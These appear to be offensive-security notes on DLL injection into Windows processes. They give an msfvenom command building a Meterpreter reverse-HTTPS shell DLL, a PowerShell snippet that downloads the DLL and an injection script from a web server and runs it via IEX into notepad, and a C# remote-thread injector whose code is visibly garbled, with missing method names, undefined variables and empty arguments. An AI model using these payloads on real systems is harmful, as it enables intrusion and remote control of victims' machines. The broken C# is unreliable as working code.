C# DLL Injection

Reflective DLL injection parses the relevant fields of the DLL's Portable Executable(PE) file format and maps the contents into memory.

shell.dll to inject
sudo msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.119.120 LPORT=443 -f dll -o shell.dll
python -m http.server 80

*Reflective DLL injection to process with Powershell in-memory

support dll or exe byte array in -PEBytes
fixed ver

Note that the public version of this script fails on versions of Windows 10 1803 or newer due to the multiple instances of GetProcAddress in UnsafeNativeMethods. Luckily, we have already solved this issue previously and the version of the script here has been updated to avoid this.

rev.ps1
$bytes = (New-Object System.Net.WebClient).DownloadData('http://127.0.0.1/shell.dll');
(New-Object Net.WebClient).DownloadString('http://127.0.0.1/Invoke-ReflectivePEInjection.ps1') | IEX;
$procid = (Get-Process -Name notepad).Id;
Invoke-ReflectivePEInjection -PEBytes $bytes -ProcId $procid

Note that we could also inject DLLs reflectively from C#, but there are no public C# proof-of-concepts that perform remote process injection. However, PELoader demonstrates local process injection.

On disk DLL injection to process

injectdllshell.exe
using System;
using System.Diagnostics;
using System.Net;
using System.Runtime.InteropServices;
using System.Text;

namespace Inject
{
    class Program
    {
        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);

        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

        [DllImport("kernel32.dll")]
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);

        [DllImport("kernel32.dll")]
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

        [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
        static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

        [DllImport("kernel32.dll", CharSet = CharSet.Auto)]
        public static extern IntPtr GetModuleHandle(string lpModuleName);

        static void Main(string[] args)
        {

            String dir = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);
            String dllName = dir + "\\met.dll";

            WebClient wc = new WebClient();
            wc.("/", dllName);

            
            int pid = expProc[0].Id;

           
            
            IntPtr outSize;
           
            
            IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, , , 0, IntPtr.Zero);
        }
    }
}

Last updated